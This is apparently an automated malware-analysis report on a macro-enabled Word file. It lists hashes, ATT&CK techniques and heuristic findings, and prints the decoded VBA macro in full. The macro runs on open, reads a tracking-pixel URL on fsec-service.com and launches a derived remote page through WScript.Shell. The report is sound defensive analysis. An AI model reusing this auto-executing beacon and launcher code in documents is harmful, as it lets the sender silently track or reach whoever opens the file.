Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d1818a750816f868…

MALICIOUS

Office (OOXML)

115.1 KB Created: 2021-05-31 03:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-13
MD5: 97dd594f518fd3f8ddde6894ef711a17 SHA-1: 7df1859fd7464862a284faba3031581b4aff29fa SHA-256: d1818a750816f868004ea20f78ee9322e60b39f87a70f388d9b2ee57758795d1
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1071.001 Web Protocols

The sample contains a VBA macro with an AutoOpen subroutine that is triggered upon opening the document. This macro utilizes WScript.Shell and CreateObject to execute obfuscated commands, including a URL that is likely used to download a second-stage payload. The macro also attempts to establish a connection to 'http://www.fsec-service.com/tm/imgs/bcn.gif?grp=1&tcode=imssgsOD27&ucode=LF8oTv' which is indicative of a beacon or tracking pixel, and further constructs a URL 'http://www.fsec-service.com/tm/pages/' which is likely part of the payload delivery mechanism.

Heuristics 9

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      Dim objWSH As Object
      Set objWSH = CreateObject("WScript.Shell")
      objWSH.Run showURL, 1
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
      Dim objWSH As Object
      Set objWSH = CreateObject("WScript.Shell")
      objWSH.Run showURL, 1
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Dim objWSH As Object
      Set objWSH = CreateObject("WScript.Shell")
      objWSH.Run showURL, 1
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    On Error GoTo Exp
  • Remote image (web beacon / tracking pixel) medium OOXML_IMAGE_BEACON
    Document references an external image URL — loads automatically on open, revealing IP address and timestamp to the server (used for phishing tracking and NTLM hash theft on corporate networks)
  • External relationship medium OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: http://www.fsec-service.com/tm/imgs/bcn.gif?grp=1&tcode=imssgsOD27&ucode=LF8oTv
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.fsec-service.com/tm/imgs/bcn.gif?grp=1&tcode=imssgsOD27&ucode=LF8oTv Referenced by macro
    • http://www.fsec-service.com/tm/imgs/bcn.gif?grp=1&tcode=imssgsOD27&ucode=LF8oTvReferenced by macro
    • http://(FQDN)/tm/imgs/bcn.gif?grp=1&tcode=imssXXXXXX&ucode=XXXXXXReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2360 bytes
SHA-256: 30f918d02e8a2c17fc424fce485c57f19279c2ecf4f67edbfcac185bae8b8b4f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

' x64
#If VBA7 Then
Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal ms As LongPtr)
Private Declare PtrSafe Function SetForegroundWindow Lib "user32" ( _
    ByVal hwnd As LongPtr) As Long
' x86
#Else
Private Declare Sub Sleep Lib "kernel32" (ByVal ms As Long)
Private Declare Function SetForegroundWindow Lib "user32" ( _
    ByVal hwnd As Long) As Long
#End If
 
Sub AutoOpen()
On Error GoTo Exp

  Dim imgURL As String, showURL As String
  Dim objShp As Shape
  Dim objIlnShp As InlineShape
  
  imgURL = ""
  For Each objShp In ActiveDocument.Shapes
    If objShp.Type = msoLinkedPicture Then
      imgURL = objShp.LinkFormat.SourceFullName
      If InStr(1, imgURL, "/tm/imgs/bcn.gif?", vbTextCompare) > 10 Then
        Exit For
      End If
    End If
  Next objShp
  If imgURL = "" Then
    For Each objIlnShp In ActiveDocument.InlineShapes
      If objIlnShp.Type = wdInlineShapeLinkedPicture Then
        imgURL = objIlnShp.LinkFormat.SourceFullName
        If InStr(1, imgURL, "/tm/imgs/bcn.gif?", vbTextCompare) > 10 Then
          Exit For
        End If
      End If
    Next objIlnShp
    If imgURL = "" Then
      GoTo Exp
    End If
  End If

  '// "http://(FQDN)/tm/imgs/bcn.gif?grp=1&tcode=imssXXXXXX&ucode=XXXXXX"
  Dim deliPos As Integer
  Dim deliPos2 As Integer
  Dim getStr As String
  deliPos = InStr(1, imgURL, "tm/imgs/", vbTextCompare)
  showURL = Left(imgURL, deliPos - 1)
  showURL = showURL + "tm/pages/"
  deliPos = InStr(deliPos, imgURL, "=imss", vbTextCompare)
  deliPos2 = InStr(deliPos, imgURL, "&ucode=", vbTextCompare)
  getStr = Mid(imgURL, deliPos + 1, deliPos2 - deliPos - 1)
  showURL = showURL + getStr + "/"
  deliPos = InStrRev(imgURL, "ucode=", -1, vbTextCompare)
  getStr = Right(imgURL, Len(imgURL) - deliPos + 1)
  getStr = Replace(getStr, "ucode=", "")
  showURL = showURL + getStr

  Dim objWSH As Object
  Set objWSH = CreateObject("WScript.Shell")
  objWSH.Run showURL, 1

Exp:
End Sub



Attribute VB_Name = "NewMacros"
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20480 bytes
SHA-256: 8886c7e01f07522443197fde4e5715c8209a1f0574208cdaf9088bcda843e234